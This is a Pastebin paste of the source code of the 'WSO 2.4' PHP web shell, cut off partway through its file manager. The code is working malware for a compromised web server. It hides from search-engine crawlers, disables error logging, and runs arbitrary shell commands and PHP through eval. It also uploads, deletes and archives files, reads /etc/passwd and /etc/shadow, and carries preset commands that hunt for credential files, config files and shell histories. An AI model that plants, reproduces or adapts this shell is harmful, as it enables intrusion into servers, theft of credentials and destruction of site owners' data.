loganbr

wso2.4.php

Sep 1st, 2014
256
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php # Web Shell by oRb
  2. $auth_pass = "4d22d3163e3e5730e83366f85c1118b41";
  3. $color = "#df5";
  4. $default_action = 'FilesMan';
  5. $default_use_ajax = true;
  6. $default_charset = 'Windows-1251';
  7.  
  8.  
  9. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  10. $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  11. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  12. header('HTTP/1.0 404 Not Found');
  13. exit;
  14. }
  15. }
  16.  
  17.  
  18. @session_start();
  19. @ini_set('error_log',NULL);
  20. @ini_set('log_errors',0);
  21. @ini_set('max_execution_time',0);
  22. @set_time_limit(0);
  23. @set_magic_quotes_runtime(0);
  24. @define('WSO_VERSION', '2.4');
  25.  
  26.  
  27. if(get_magic_quotes_gpc()) {
  28. function WSOstripslashes($array) {
  29. return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  30. }
  31. $_POST = WSOstripslashes($_POST);
  32. }
  33.  
  34.  
  35. function wsoLogin() {
  36. die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
  37. }
  38.  
  39.  
  40. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  41. if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  42. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  43. else
  44. wsoLogin();
  45.  
  46.  
  47. if(strtolower(substr(PHP_OS,0,3)) == "win")
  48. $os = 'win';
  49. else
  50. $os = 'nix';
  51.  
  52.  
  53. $safe_mode = @ini_get('safe_mode');
  54. if(!$safe_mode)
  55. error_reporting(0);
  56.  
  57.  
  58. $disable_functions = @ini_get('disable_functions');
  59. $home_cwd = @getcwd();
  60. if(isset($_POST['c']))
  61. @chdir($_POST['c']);
  62. $cwd = @getcwd();
  63. if($os == 'win') {
  64. $home_cwd = str_replace("\\", "/", $home_cwd);
  65. $cwd = str_replace("\\", "/", $cwd);
  66. }
  67. if( $cwd[strlen($cwd)-1] != '/' )
  68. $cwd .= '/';
  69.  
  70.  
  71. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  72. $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
  73.  
  74. if($os == 'win')
  75. $aliases = array(
  76. "List Directory" => "dir",
  77. "Find index.php in current dir" => "dir /s /w /b index.php",
  78. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  79. "Show active connections" => "netstat -an",
  80. "Show running services" => "net start",
  81. "User accounts" => "net user",
  82. "Show computers" => "net view",
  83. "ARP Table" => "arp -a",
  84. "IP Configuration" => "ipconfig /all"
  85. );
  86. else
  87. $aliases = array(
  88. "List dir" => "ls -lha",
  89. "list file attributes on a Linux second extended file system" => "lsattr -va",
  90. "show opened ports" => "netstat -an | grep -i listen",
  91. "process status" => "ps aux",
  92. "Find" => "",
  93. "find all suid files" => "find / -type f -perm -04000 -ls",
  94. "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  95. "find all sgid files" => "find / -type f -perm -02000 -ls",
  96. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  97. "find config.inc.php files" => "find / -type f -name config.inc.php",
  98. "find config* files" => "find / -type f -name \"config*\"",
  99. "find config* files in current dir" => "find . -type f -name \"config*\"",
  100. "find all writable folders and files" => "find / -perm -2 -ls",
  101. "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  102. "find all service.pwd files" => "find / -type f -name service.pwd",
  103. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  104. "find all .htpasswd files" => "find / -type f -name .htpasswd",
  105. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  106. "find all .bash_history files" => "find / -type f -name .bash_history",
  107. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  108. "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  109. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  110. "Locate" => "",
  111. "locate httpd.conf files" => "locate httpd.conf",
  112. "locate vhosts.conf files" => "locate vhosts.conf",
  113. "locate proftpd.conf files" => "locate proftpd.conf",
  114. "locate psybnc.conf files" => "locate psybnc.conf",
  115. "locate my.conf files" => "locate my.conf",
  116. "locate admin.php files" =>"locate admin.php",
  117. "locate cfg.php files" => "locate cfg.php",
  118. "locate conf.php files" => "locate conf.php",
  119. "locate config.dat files" => "locate config.dat",
  120. "locate config.php files" => "locate config.php",
  121. "locate config.inc files" => "locate config.inc",
  122. "locate config.inc.php" => "locate config.inc.php",
  123. "locate config.default.php files" => "locate config.default.php",
  124. "locate config* files " => "locate config",
  125. "locate .conf files"=>"locate '.conf'",
  126. "locate .pwd files" => "locate '.pwd'",
  127. "locate .sql files" => "locate '.sql'",
  128. "locate .htpasswd files" => "locate '.htpasswd'",
  129. "locate .bash_history files" => "locate '.bash_history'",
  130. "locate .mysql_history files" => "locate '.mysql_history'",
  131. "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  132. "locate backup files" => "locate backup",
  133. "locate dump files" => "locate dump",
  134. "locate priv files" => "locate priv"
  135. );
  136.  
  137.  
  138. function wsoHeader() {
  139. if(empty($_POST['charset']))
  140. $_POST['charset'] = $GLOBALS['default_charset'];
  141. global $color;
  142. echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
  143. <style>
  144. body{background-color:#444;color:#e1e1e1;}
  145. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  146. table.info{ color:#fff;background-color:#222; }
  147. span,h1,a{ color: $color !important; }
  148. span{ font-weight: bolder; }
  149. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  150. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  151. a{ text-decoration:none; }
  152. a:hover{ text-decoration:underline; }
  153. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  154. .bigarea{ width:100%;height:250px; }
  155. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  156. form{ margin:0px; }
  157. #toolsTbl{ text-align:center; }
  158. .toolsInp{ width: 300px }
  159. .main th{text-align:left;background-color:#5e5e5e;}
  160. .main tr:hover{background-color:#5e5e5e}
  161. .l1{background-color:#444}
  162. .l2{background-color:#333}
  163. pre{font-family:Courier,Monospace;}
  164. </style>
  165. <script>
  166. var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  167. var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  168. var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  169. var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  170. var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  171. var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  172. var d = document;
  173. function set(a,c,p1,p2,p3,charset) {
  174. if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  175. if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  176. if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  177. if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  178. if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  179. if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  180. }
  181. function g(a,c,p1,p2,p3,charset) {
  182. set(a,c,p1,p2,p3,charset);
  183. d.mf.submit();
  184. }
  185. function a(a,c,p1,p2,p3,charset) {
  186. set(a,c,p1,p2,p3,charset);
  187. var params = 'ajax=true';
  188. for(i=0;i<d.mf.elements.length;i++)
  189. params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  190. sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  191. }
  192. function sr(url, params) {
  193. if (window.XMLHttpRequest)
  194. req = new XMLHttpRequest();
  195. else if (window.ActiveXObject)
  196. req = new ActiveXObject('Microsoft.XMLHTTP');
  197. if (req) {
  198. req.onreadystatechange = processReqChange;
  199. req.open('POST', url, true);
  200. req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  201. req.send(params);
  202. }
  203. }
  204. function processReqChange() {
  205. if( (req.readyState == 4) )
  206. if(req.status == 200) {
  207. var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  208. var arr=reg.exec(req.responseText);
  209. eval(arr[2].substr(0, arr[1]));
  210. } else alert('Request error!');
  211. }
  212. </script>
  213. <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
  214. <form method=post name=mf style='display:none;'>
  215. <input type=hidden name=a>
  216. <input type=hidden name=c>
  217. <input type=hidden name=p1>
  218. <input type=hidden name=p2>
  219. <input type=hidden name=p3>
  220. <input type=hidden name=charset>
  221. </form>";
  222. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  223. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  224. $totalSpace = $totalSpace?$totalSpace:1;
  225. $release = @php_uname('r');
  226. $kernel = @php_uname('s');
  227. $explink = 'http://exploit-db.com/list.php?description=';
  228. if(strpos('Linux', $kernel) !== false)
  229. $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
  230. else
  231. $explink .= urlencode($kernel . ' ' . substr($release,0,3));
  232. if(!function_exists('posix_getegid')) {
  233. $user = @get_current_user();
  234. $uid = @getmyuid();
  235. $gid = @getmygid();
  236. $group = "?";
  237. } else {
  238. $uid = @posix_getpwuid(posix_geteuid());
  239. $gid = @posix_getgrgid(posix_getegid());
  240. $user = $uid['name'];
  241. $uid = $uid['uid'];
  242. $group = $gid['name'];
  243. $gid = $gid['gid'];
  244. }
  245.  
  246.  
  247. $cwd_links = '';
  248. $path = explode("/", $GLOBALS['cwd']);
  249. $n=count($path);
  250. for($i=0; $i<$n-1; $i++) {
  251. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  252. for($j=0; $j<=$i; $j++)
  253. $cwd_links .= $path[$j].'/';
  254. $cwd_links .= "\")'>".$path[$i]."/</a>";
  255. }
  256.  
  257.  
  258. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  259. $opt_charsets = '';
  260. foreach($charsets as $item)
  261. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  262.  
  263.  
  264. $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
  265. if(!empty($GLOBALS['auth_pass']))
  266. $m['Logout'] = 'Logout';
  267. $m['Self remove'] = 'SelfRemove';
  268. $menu = '';
  269. foreach($m as $k => $v)
  270. $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  271.  
  272.  
  273. $drives = "";
  274. if($GLOBALS['os'] == 'win') {
  275. foreach(range('c','z') as $drive)
  276. if(is_dir($drive.':\\'))
  277. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  278. }
  279. echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
  280. . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')
  281. . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
  282. . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
  283. . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
  284. }
  285.  
  286.  
  287. function wsoFooter() {
  288. $is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
  289. echo "
  290. </div>
  291. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  292. <tr>
  293. <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
  294. <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  295. </tr><tr>
  296. <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
  297. <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  298. </tr><tr>
  299. <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
  300. <td><form method='post' ENCTYPE='multipart/form-data'>
  301. <input type=hidden name=a value='FilesMAn'>
  302. <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  303. <input type=hidden name=p1 value='uploadFile'>
  304. <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  305. <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
  306. </tr></table></div></body></html>";
  307. }
  308.  
  309.  
  310. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
  311. function posix_getpwuid($p) {return false;} }
  312. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
  313. function posix_getgrgid($p) {return false;} }
  314.  
  315.  
  316. function wsoEx($in) {
  317. $out = '';
  318. if (function_exists('exec')) {
  319. @exec($in,$out);
  320. $out = @join("\n",$out);
  321. } elseif (function_exists('passthru')) {
  322. ob_start();
  323. @passthru($in);
  324. $out = ob_get_clean();
  325. } elseif (function_exists('system')) {
  326. ob_start();
  327. @system($in);
  328. $out = ob_get_clean();
  329. } elseif (function_exists('shell_exec')) {
  330. $out = shell_exec($in);
  331. } elseif (is_resource($f = @popen($in,"r"))) {
  332. $out = "";
  333. while(!@feof($f))
  334. $out .= fread($f,1024);
  335. pclose($f);
  336. }
  337. return $out;
  338. }
  339. function wsoViewSize($s) {
  340. if($s >= 1073741824)
  341. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  342. elseif($s >= 1048576)
  343. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  344. elseif($s >= 1024)
  345. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  346. else
  347. return $s . ' B';
  348. }
  349.  
  350.  
  351. function wsoPerms($p) {
  352. if (($p & 0xC000) == 0xC000)$i = 's';
  353. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  354. elseif (($p & 0x8000) == 0x8000)$i = '-';
  355. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  356. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  357. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  358. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  359. else $i = 'u';
  360. $i .= (($p & 0x0100) ? 'r' : '-');
  361. $i .= (($p & 0x0080) ? 'w' : '-');
  362. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  363. $i .= (($p & 0x0020) ? 'r' : '-');
  364. $i .= (($p & 0x0010) ? 'w' : '-');
  365. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  366. $i .= (($p & 0x0004) ? 'r' : '-');
  367. $i .= (($p & 0x0002) ? 'w' : '-');
  368. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  369. return $i;
  370. }
  371.  
  372.  
  373. function wsoPermsColor($f) {
  374. if (!@is_readable($f))
  375. return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
  376. elseif (!@is_writable($f))
  377. return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
  378. else
  379. return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
  380. }
  381.  
  382.  
  383. if(!function_exists("scandir")) {
  384. function scandir($dir) {
  385. $dh = opendir($dir);
  386. while (false !== ($filename = readdir($dh)))
  387. $files[] = $filename;
  388. return $files;
  389. }
  390. }
  391.  
  392.  
  393. function wsoWhich($p) {
  394. $path = wsoEx('which ' . $p);
  395. if(!empty($path))
  396. return $path;
  397. return false;
  398. }
  399.  
  400.  
  401. function actionSecInfo() {
  402. wsoHeader();
  403. echo '<h1>Server security information</h1><div class=content>';
  404. function wsoSecParam($n, $v) {
  405. $v = trim($v);
  406. if($v) {
  407. echo '<span>' . $n . ': </span>';
  408. if(strpos($v, "\n") === false)
  409. echo $v . '<br>';
  410. else
  411. echo '<pre class=ml1>' . $v . '</pre>';
  412. }
  413. }
  414.  
  415. wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  416. if(function_exists('apache_get_modules'))
  417. wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  418. wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  419. wsoSecParam('Open base dir', @ini_get('open_basedir'));
  420. wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  421. wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  422. wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  423. $temp=array();
  424. if(function_exists('mysql_get_client_info'))
  425. $temp[] = "MySql (".mysql_get_client_info().")";
  426. if(function_exists('mssql_connect'))
  427. $temp[] = "MSSQL";
  428. if(function_exists('pg_connect'))
  429. $temp[] = "PostgreSQL";
  430. if(function_exists('oci_connect'))
  431. $temp[] = "Oracle";
  432. wsoSecParam('Supported databases', implode(', ', $temp));
  433. echo '<br>';
  434.  
  435. if($GLOBALS['os'] == 'nix') {
  436. wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  437. wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  438. wsoSecParam('OS version', @file_get_contents('/proc/version'));
  439. wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  440. if(!$GLOBALS['safe_mode']) {
  441. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  442. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  443. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  444. echo '<br>';
  445. $temp=array();
  446. foreach ($userful as $item)
  447. if(wsoWhich($item))
  448. $temp[] = $item;
  449. wsoSecParam('Userful', implode(', ',$temp));
  450. $temp=array();
  451. foreach ($danger as $item)
  452. if(wsoWhich($item))
  453. $temp[] = $item;
  454. wsoSecParam('Danger', implode(', ',$temp));
  455. $temp=array();
  456. foreach ($downloaders as $item)
  457. if(wsoWhich($item))
  458. $temp[] = $item;
  459. wsoSecParam('Downloaders', implode(', ',$temp));
  460. echo '<br/>';
  461. wsoSecParam('HDD space', wsoEx('df -h'));
  462. wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
  463. }
  464. } else {
  465. wsoSecParam('OS Version',wsoEx('ver'));
  466. wsoSecParam('Account Settings',wsoEx('net accounts'));
  467. wsoSecParam('User Accounts',wsoEx('net user'));
  468. }
  469. echo '</div>';
  470. wsoFooter();
  471. }
  472.  
  473.  
  474. function actionPhp() {
  475. if(isset($_POST['ajax'])) {
  476. $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
  477. ob_start();
  478. eval($_POST['p1']);
  479. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
  480. echo strlen($temp), "\n", $temp;
  481. exit;
  482. }
  483. wsoHeader();
  484. if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
  485. echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
  486. ob_start();
  487. phpinfo();
  488. $tmp = ob_get_clean();
  489. $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  490. $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  491. echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  492. }
  493. if(empty($_POST['ajax']) && !empty($_POST['p1']))
  494. $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
  495. echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  496. echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  497. if(!empty($_POST['p1'])) {
  498. ob_start();
  499. eval($_POST['p1']);
  500. echo htmlspecialchars(ob_get_clean());
  501. }
  502. echo '</pre></div>';
  503. wsoFooter();
  504. }
  505.  
  506.  
  507. function actionFilesMan() {
  508. wsoHeader();
  509. echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  510. if(!empty($_POST['p1'])) {
  511. switch($_POST['p1']) {
  512. case 'uploadFile':
  513. if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  514. echo "Can't upload file!";
  515. break;
  516. case 'mkdir':
  517. if(!@mkdir($_POST['p2']))
  518. echo "Can't create new dir";
  519. break;
  520. case 'delete':
  521. function deleteDir($path) {
  522. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  523. $dh = opendir($path);
  524. while ( ($item = readdir($dh) ) !== false) {
  525. $item = $path.$item;
  526. if ( (basename($item) == "..") || (basename($item) == ".") )
  527. continue;
  528. $type = filetype($item);
  529. if ($type == "dir")
  530. deleteDir($item);
  531. else
  532. @unlink($item);
  533. }
  534. closedir($dh);
  535. @rmdir($path);
  536. }
  537. if(is_array(@$_POST['f']))
  538. foreach($_POST['f'] as $f) {
  539. if($f == '..')
  540. continue;
  541. $f = urldecode($f);
  542. if(is_dir($f))
  543. deleteDir($f);
  544. else
  545. @unlink($f);
  546. }
  547. break;
  548. case 'paste':
  549. if($_SESSION['act'] == 'copy') {
  550. function copy_paste($c,$s,$d){
  551. if(is_dir($c.$s)){
  552. mkdir($d.$s);
  553. $h = @opendir($c.$s);
  554. while (($f = @readdir($h)) !== false)
  555. if (($f != ".") and ($f != ".."))
  556. copy_paste($c.$s.'/',$f, $d.$s.'/');
  557. } elseif(is_file($c.$s))
  558. @copy($c.$s, $d.$s);
  559. }
  560. foreach($_SESSION['f'] as $f)
  561. copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
  562. } elseif($_SESSION['act'] == 'move') {
  563. function move_paste($c,$s,$d){
  564. if(is_dir($c.$s)){
  565. mkdir($d.$s);
  566. $h = @opendir($c.$s);
  567. while (($f = @readdir($h)) !== false)
  568. if (($f != ".") and ($f != ".."))
  569. copy_paste($c.$s.'/',$f, $d.$s.'/');
  570. } elseif(@is_file($c.$s))
  571. @copy($c.$s, $d.$s);
  572. }
  573. foreach($_SESSION['f'] as $f)
  574. @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
  575. } elseif($_SESSION['act'] == 'zip') {
  576. if(class_exists('ZipArchive')) {
  577. $zip = new ZipArchive();
  578. if ($zip->open($_POST['p2'], 1)) {
  579. chdir($_SESSION['c']);
  580. foreach($_SESSION['f'] as $f) {
  581. if($f == '..')
  582. continue;
  583. if(@is_file($_SESSION['c'].$f))
  584. $zip->addFile($_SESSION['c'].$f, $f);
  585. elseif(@is_dir($_SESSION['c'].$f)) {
  586. $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
  587. foreach ($iterator as $key=>$value) {
  588. $zip->addFile(realpath($key), $key);
  589. }
  590. }
  591. }
  592. chdir($GLOBALS['cwd']);
  593. $zip->close();
  594. }
  595. }
  596. } elseif($_SESSION['act'] == 'unzip') {
  597. if(class_exists('ZipArchive')) {
  598. $zip = new ZipArchive();
  599. foreach($_SESSION['f'] as $f) {
  600. if($zip->open($_SESSION['c'].$f)) {
  601. $zip->extractTo($GLOBALS['cwd']);
  602. $zip->close();
  603. }
  604. }
  605. }
  606. } elseif($_SESSION['act'] == 'tar') {
  607. chdir($_SESSION['c']);
  608. $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
  609. wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
  610. chdir($GLOBALS['cwd']);
  611. }
  612. unset($_SESSION['f']);
  613. break;
  614. default:
  615. if(!empty($_POST['p1'])) {
  616. $_SESSION['act'] = @$_POST['p1'];
  617. $_SESSION['f'] = @$_POST['f'];
  618. foreach($_SESSION['f'] as $k => $f)
  619. $_SESSION['f'][$k] = urldecode($f);
  620. $_SESSION['c'] = @$_POST['c'];
  621. }
  622. break;
  623. }
  624. }
  625. $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  626. if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
  627. global $sort;
  628. $sort = array('name', 1);
  629. if(!empty($_POST['p1'])) {
  630. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  631. $sort = array($match[1], (int)$match[2]);
  632. }
  633. echo "<script>
  634. function sa() {
  635. for(i=0;i<d.files.elements.length;i++)
  636. if(d.files.elements[i].type == 'checkbox')
  637. d.files.elements[i].checked = d.files.elements[0].checked;
  638. }
  639. </script>
  640. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  641. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  642. $dirs = $files = array();
  643. $n = count($dirContent);
  644. for($i=0;$i<$n;$i++) {
  645. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  646. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  647. $tmp = array('name' => $dirContent[$i],
  648. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  649. 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  650. 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  651. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  652. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
